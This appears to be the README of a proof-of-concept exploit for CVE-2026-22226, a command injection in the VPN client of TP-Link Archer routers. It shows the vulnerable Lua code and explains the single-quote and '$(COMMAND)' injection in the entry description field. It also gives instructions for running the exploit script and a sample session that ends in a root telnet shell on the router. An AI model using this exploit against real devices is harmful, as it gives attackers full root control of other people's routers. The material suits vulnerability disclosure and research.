
Proof of Concept for the CVE-2026-22226
Proof of Concept for CVE-2026-22226
Authenticated LAN-side OS Command Injection in the VPN Client of TP-Link Archer Wi-Fi routers
The VPN Client controller stores the user-controlled entry description (des) in the UCI configuration with a weak validation regex. When the entry is later read back (while editing it in the WebUI), get_ovpn_data() interpolates des into a quoted shell command passed to os.execute() without any sanitization :
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
The single-quote character (') passes the validation regex, which is enough to break out of the shell quoting and inject commands via $() substitution. A des field set to '$(COMMAND)' turns the command into :
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
Note that the command output is never returned in the HTTP response, so the injection is blind. This is why we need an out-of-band channel (here the PoC script spawns a telnetd server to get an interactive shell).
[!Note] I only tested this script on a TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), but other Archer devices are likely vulnerable too.
This poc follows this process :
admin.ovpn configuration filedes field, escaping the single-quoted context and injecting our payload via a command substitutionget_ovpn_data() by reading the entry back, which feeds the poisoned des into os.execute()[!Warning] The exploitation of this vulnerability leads to OS command execution as
rooton the router (full device compromise), bypassing thedesinput validation via the allowed single-quote character.
Python dependencies are declared inline in the script, so you can run it directly with a modern Python project manager, or install them manually with pip :
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
set the target IP, credentials, and payload in poc.py
run the script :
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux